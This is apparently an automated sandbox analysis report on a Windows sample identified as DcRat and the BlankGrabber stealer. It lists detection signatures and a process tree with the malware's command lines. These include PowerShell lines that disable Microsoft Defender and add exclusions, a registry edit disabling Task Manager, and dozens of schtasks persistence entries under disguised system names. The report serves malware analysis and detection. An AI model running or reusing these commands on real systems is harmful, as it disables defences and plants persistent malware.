Overview

overview

10

Static

static

10

xbe497967f...f5.exe

windows10-2004-x64

10

xbe497967f...f5.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    15/04/2026, 15:03

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    xbe497967fab109cb4b752a5289594fcf415ef0e5aad111999dc3c3708c1c9ef5.exe
  • Size 14.4MB
  • Sample260415-sfbpeads2y
  • SHA256 be497967fab109cb4b752a5289594fcf415ef0e5aad111999dc3c3708c1c9ef5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionblankgrabberdcratinfostealerpersistenceratstealertrojanupx

Malware Config

Signatures

  • Family: DcRat 64 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Family: blankgrabber

    Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.

    stealerblankgrabber
  • A stealer written in Python and packaged with Pyinstaller 2 IoCs
  • DCRat payload 8 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Process spawned unexpected child process 64 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • UAC bypass 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

    Using powershell.exe command.

    execution
  • Disables Task Manager via registry modification
    defense_evasion
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Checks computer location settings 2 TTPs 7 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 35 IoCs
  • Loads dropped DLL 18 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    defense_evasiontrojan
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 5 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • SmartAssembly .NET packer 5 IoCs

    Detects SmartAssembly .NET packer.

  • UPX packed file 59 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 37 IoCs
  • Drops file in Windows directory 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry class 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • System policy modification 1 TTPs 3 IoCs
    defense_evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\xbe497967fab109cb4b752a5289594fcf415ef0e5aad111999dc3c3708c1c9ef5.exe
    "C:\Users\Admin\AppData\Local\Temp\xbe497967fab109cb4b752a5289594fcf415ef0e5aad111999dc3c3708c1c9ef5.exe"
    1⤵
    • Family: DcRat
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4048
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1272
      • C:\Users\Admin\AppData\Local\Temp\Built.exe
        "C:\Users\Admin\AppData\Local\Temp\Built.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2864
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2388
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:996
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1948
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Disables one or more Microsoft Defender components
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:492
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3224
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            5⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3380
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:216
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4408
    • C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
      "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:2188
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\comwinrefperfnet\U5o1V84T5XpfbHy9S.vbe"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3364
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\comwinrefperfnet\VsGzN8DgQ7abRJ2KBpJU3.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3164
          • C:\comwinrefperfnet\comServerdll.exe
            "C:\comwinrefperfnet\comServerdll.exe"
            5⤵
            • UAC bypass
            • Checks computer location settings
            • Executes dropped EXE
            • Checks whether UAC is enabled
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            • System policy modification
            PID:4388
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\comwinrefperfnet\comServerdll.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              PID:3676
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\dotnet\swidtag\conhost.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2896
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\PortRefhostDll\cmd.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5412
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\System32\comServerdll.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              PID:5792
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\comwinrefperfnet\cmd.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:5596
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Templates\conhost.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              PID:4320
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Crashpad\reports\w32tm.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4928
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft Office\Updates\Apply\FilesInUse\CAEF554E-5975-40A2-B1C8-1C08220EB4AB\Registry.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              PID:3496
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Defender\es-ES\dllhost.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              PID:4144
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Resources\Themes\aero\de-DE\cmd.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              PID:4036
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Portable Devices\cmd.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:2588
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\PortRefhostDll\OfficeClickToRun.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1380
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Adobe\RuntimeBroker.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1528
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command Add-MpPreference -ExclusionPath 'C:\comwinrefperfnet\taskhostw.exe'
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1696
            • C:\Program Files\dotnet\swidtag\conhost.exe
              "C:\Program Files\dotnet\swidtag\conhost.exe"
              6⤵
              • Executes dropped EXE
              PID:4816
          • C:\Windows\SysWOW64\reg.exe
            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
            5⤵
            • System Location Discovery: System Language Discovery
            • Modifies registry key
            PID:4688
    • C:\Users\Admin\AppData\Local\Temp\123.exe
      "C:\Users\Admin\AppData\Local\Temp\123.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\PortRefhostDll\kwADOEwaHV0iJLCsBWRK.vbe"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\PortRefhostDll\wdhxs.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:3432
          • C:\PortRefhostDll\Runtimemonitor.exe
            "C:\PortRefhostDll\Runtimemonitor.exe"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Drops file in Windows directory
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4896
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\1Iw5vslcTl.bat"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2180
              • C:\Windows\system32\w32tm.exe
                w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                7⤵
                  PID:3456
                • C:\comwinrefperfnet\fontdrvhost.exe
                  "C:\comwinrefperfnet\fontdrvhost.exe"
                  7⤵
                  • Executes dropped EXE
                  PID:5856
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\wininit.exe'" /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:876
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\wininit.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:4700
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\wininit.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3760
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 11 /tr "'C:\Users\Default\Pictures\WmiPrvSE.exe'" /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1580
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Default\Pictures\WmiPrvSE.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:4224
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Pictures\WmiPrvSE.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3288
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "WUDFHostW" /sc MINUTE /mo 7 /tr "'C:\PortRefhostDll\WUDFHost.exe'" /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:4320
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "WUDFHost" /sc ONLOGON /tr "'C:\PortRefhostDll\WUDFHost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:1528
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "WUDFHostW" /sc MINUTE /mo 14 /tr "'C:\PortRefhostDll\WUDFHost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3492
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Microsoft\DeviceSync\RuntimeBroker.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1352
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Users\All Users\Microsoft\DeviceSync\RuntimeBroker.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:2200
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Microsoft\DeviceSync\RuntimeBroker.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3824
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Photo Viewer\it-IT\taskhostw.exe'" /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:4628
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\it-IT\taskhostw.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:2816
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Photo Viewer\it-IT\taskhostw.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:2692
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 10 /tr "'C:\PortRefhostDll\conhost.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1012
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\PortRefhostDll\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1060
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\PortRefhostDll\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3988
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 11 /tr "'C:\PortRefhostDll\RuntimeBroker.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3996
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\PortRefhostDll\RuntimeBroker.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1496
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\PortRefhostDll\RuntimeBroker.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1892
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:4396
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1756
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:2804
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 6 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\sihost.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:212
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\sihost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:4168
    • C:\Users\Default\Pictures\WmiPrvSE.exe
      "C:\Users\Default\Pictures\WmiPrvSE.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3888
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 9 /tr "'C:\Windows\BitLockerDiscoveryVolumeContents\sihost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1492
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\comwinrefperfnet\fontdrvhost.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:932
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\comwinrefperfnet\fontdrvhost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:2660
    • C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\wininit.exe
      "C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\wininit.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2392
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\comwinrefperfnet\fontdrvhost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1972
    • C:\Program Files (x86)\Windows Photo Viewer\it-IT\taskhostw.exe
      "C:\Program Files (x86)\Windows Photo Viewer\it-IT\taskhostw.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2184
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 5 /tr "'C:\PortRefhostDll\upfc.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:996
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "upfc" /sc ONLOGON /tr "'C:\PortRefhostDll\upfc.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1180
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "upfcu" /sc MINUTE /mo 8 /tr "'C:\PortRefhostDll\upfc.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:3892
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 13 /tr "'C:\comwinrefperfnet\SearchApp.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3880
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\comwinrefperfnet\SearchApp.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:2788
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 10 /tr "'C:\comwinrefperfnet\SearchApp.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:4792
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\sppsvc.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:4140
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\sppsvc.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:5116
    • C:\Users\All Users\Microsoft\DeviceSync\RuntimeBroker.exe
      "C:\Users\All Users\Microsoft\DeviceSync\RuntimeBroker.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1524
    • C:\PortRefhostDll\WUDFHost.exe
      "C:\PortRefhostDll\WUDFHost.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4108
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Microsoft.NET\RedistList\sppsvc.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:616
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Windows\Migration\WTR\RuntimeBroker.exe'" /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1156
    • C:\Windows\BitLockerDiscoveryVolumeContents\sihost.exe
      "C:\Windows\BitLockerDiscoveryVolumeContents\sihost.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4672
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\Migration\WTR\RuntimeBroker.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:3984
    • C:\Recovery\WindowsRE\conhost.exe
      "C:\Recovery\WindowsRE\conhost.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3672
    • C:\PortRefhostDll\conhost.exe
      "C:\PortRefhostDll\conhost.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1012
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Windows\Migration\WTR\RuntimeBroker.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:2616
    • C:\PortRefhostDll\upfc.exe
      "C:\PortRefhostDll\upfc.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4116
    • C:\comwinrefperfnet\fontdrvhost.exe
      "C:\comwinrefperfnet\fontdrvhost.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1688
    • C:\PortRefhostDll\RuntimeBroker.exe
      "C:\PortRefhostDll\RuntimeBroker.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2244
    • C:\comwinrefperfnet\SearchApp.exe
      "C:\comwinrefperfnet\SearchApp.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1088
    • C:\Program Files (x86)\Microsoft.NET\RedistList\sppsvc.exe
      "C:\Program Files (x86)\Microsoft.NET\RedistList\sppsvc.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3648
    • C:\Windows\Migration\WTR\RuntimeBroker.exe
      "C:\Windows\Migration\WTR\RuntimeBroker.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3632
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Program Files\dotnet\swidtag\conhost.exe'" /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      PID:1172
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\dotnet\swidtag\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Process spawned unexpected child process
      PID:5024
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Program Files\dotnet\swidtag\conhost.exe'" /rl HIGHEST /f
      1⤵
      • Family: DcRat
      • Process spawned unexpected child process
      • Scheduled Task/Job: Scheduled Task
      PID:1612
    • C:\Windows\system32\schtasks.exe
      schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 10 /tr "'C:\PortRefhostDll\cmd.exe'" /f
      1⤵
